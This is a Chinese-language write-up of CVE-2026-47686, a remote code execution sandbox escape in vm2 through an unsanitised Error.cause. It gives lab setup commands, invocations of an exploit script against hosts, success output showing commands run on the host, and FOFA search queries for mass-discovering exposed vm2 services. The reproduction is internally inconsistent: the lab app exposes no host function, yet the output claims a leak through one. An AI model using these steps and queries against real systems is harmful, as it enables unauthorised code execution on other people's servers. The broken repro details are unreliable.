漏洞简介
CVE-2026-47686 是 Node.js 沙箱库 vm2(≤ 3.11.5)中的高危远程代码执行漏洞。vm2 广泛应用于插件系统、规则引擎、AI Agent 代码执行器等场景,其核心职责是隔离不可信 JavaScript 代码与宿主环境,确保沙箱内的代码无法访问
process、require等敏感对象。
攻击者通过向嵌入器暴露的 JS 评估端点提交恶意脚本,利用
handleException()未清理 ES2022 新增的Error.cause属性,将宿主域的process对象泄漏进沙箱,进而调用child_process.execSync()实现任意命令执行,无需任何认证。
该漏洞的影响链路:攻击者向
/run端点提交恶意 JS → 嵌入器宿主函数抛出携带process对象的Error.cause→handleException()未做清理导致对象穿透沙箱边界 → 沙箱内通过process.mainModule.require('child_process')执行任意命令 → 以宿主进程用户身份完成 RCE。
影响范围
漏洞原理
vm2 的
handleException()函数位于lib/setup-sandbox.js,是所有从宿主域进入沙箱域的异常对象的唯一入口。其职责是对异常对象进行净化,剥离所有宿主域的对象引用,确保沙箱代码无法触达process、require等敏感对象。在 vm2 3.11.5 中,
handleException()仅识别并清理两种链式错误载体:
SuppressedError.{error, suppressed} ← 被清理
AggregateError.errors[] ← 被清理
Error.cause ← 未被清理ES2022 标准新增了 Error.cause 属性,但 vm2 的清理逻辑遗漏了该属性。当嵌入器暴露的宿主函数抛出携带 process 对象的 Error.cause 时,该引用会完整穿透 handleException() 进入沙箱。
六条泄漏通道
攻击脚本会自动探测以下六种潜在泄漏路径:
图解展示了 CVE-2026-47686 从攻击者提交恶意脚本到完成远程代码执行的完整利用链路,蓝色节点为正常请求路径,红色虚线标记漏洞触发点(Error.cause 未清理导致 process 对象泄漏),直观呈现沙箱逃逸的关键环节。
漏洞复现
准备环境
步骤 1:搭建靶场
# 创建项目目录
mkdir -p ~/vm2-lab && cd ~/vm2-lab
npm init -y
# 安装漏洞版本 vm2
npm install [email protected]
npm install express
# 创建靶场服务 app.js
cat > app.js << 'EOF'
const {VM} = require('vm2');
const express = require('express');
const app = express();
app.use(express.json());
app.post('/run', (req, res) => {
try {
const vm = new VM({timeout: 5000});
vm.run(`
(function() {
// 宿主函数注册到沙箱全局
})()
`);
res.json({result: 'ok'});
} catch (e) {
res.status(500).json({error: e.message});
}
});
app.listen(3000, () => console.log('Target running on :3000'));
EOF
# 启动靶机
node app.js步骤 2:验证靶机正常
curl http://192.168.1.10:3000/run -X POST -H "Content-Type: application/json" -d '{}'
# 预期返回:{"result":"ok"}步骤 3:执行漏洞利用
# 单目标探测(自动发现宿主函数)
python3 CVE-2026-47686_exploit.py --host 192.168.1.10 --port 3000
# 指定命令执行
python3 CVE-2026-47686_exploit.py --host 192.168.1.10 --command "whoami"
# TLS + 自定义路径
python3 CVE-2026-47686_exploit.py --host https://plugins.corp.com:8443/api/run --tls --command "uname -a"步骤 4:预期输出
============================================================
ALIM EXPLOIT CVE-2026-47686
Type: RCE | Target: 192.168.1.10:3000
============================================================
[STEP 1] Building untrusted script (host fn: auto-discover, command: 'id')
[STEP 2] POST /run - submitting script to the sandbox evaluator
[STEP 3] Script evaluated (accepted as form:script) - inspecting completion value
[STEP 4] Host object leaked through 'lookupRecord()' and pivoted to child_process
--- COMMAND OUTPUT ---
uid=1000(user) gid=1000(user) groups=1000(user)
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' executed on the host
via 'lookupRecord()' - uid=1000(user) gid=1000(user)
============================================================FOFA 语法
搜索使用 vm2 的 Node.js 服务
body="vm2" && port=3000搜索特定路径(代码执行服务)
body="/run" && protocol="http" && status_code=200批量扫描 vm2 嵌入器
header="vm2" || body="handleException"结合端口筛选
port=3000 && body="VMError" && country="CN"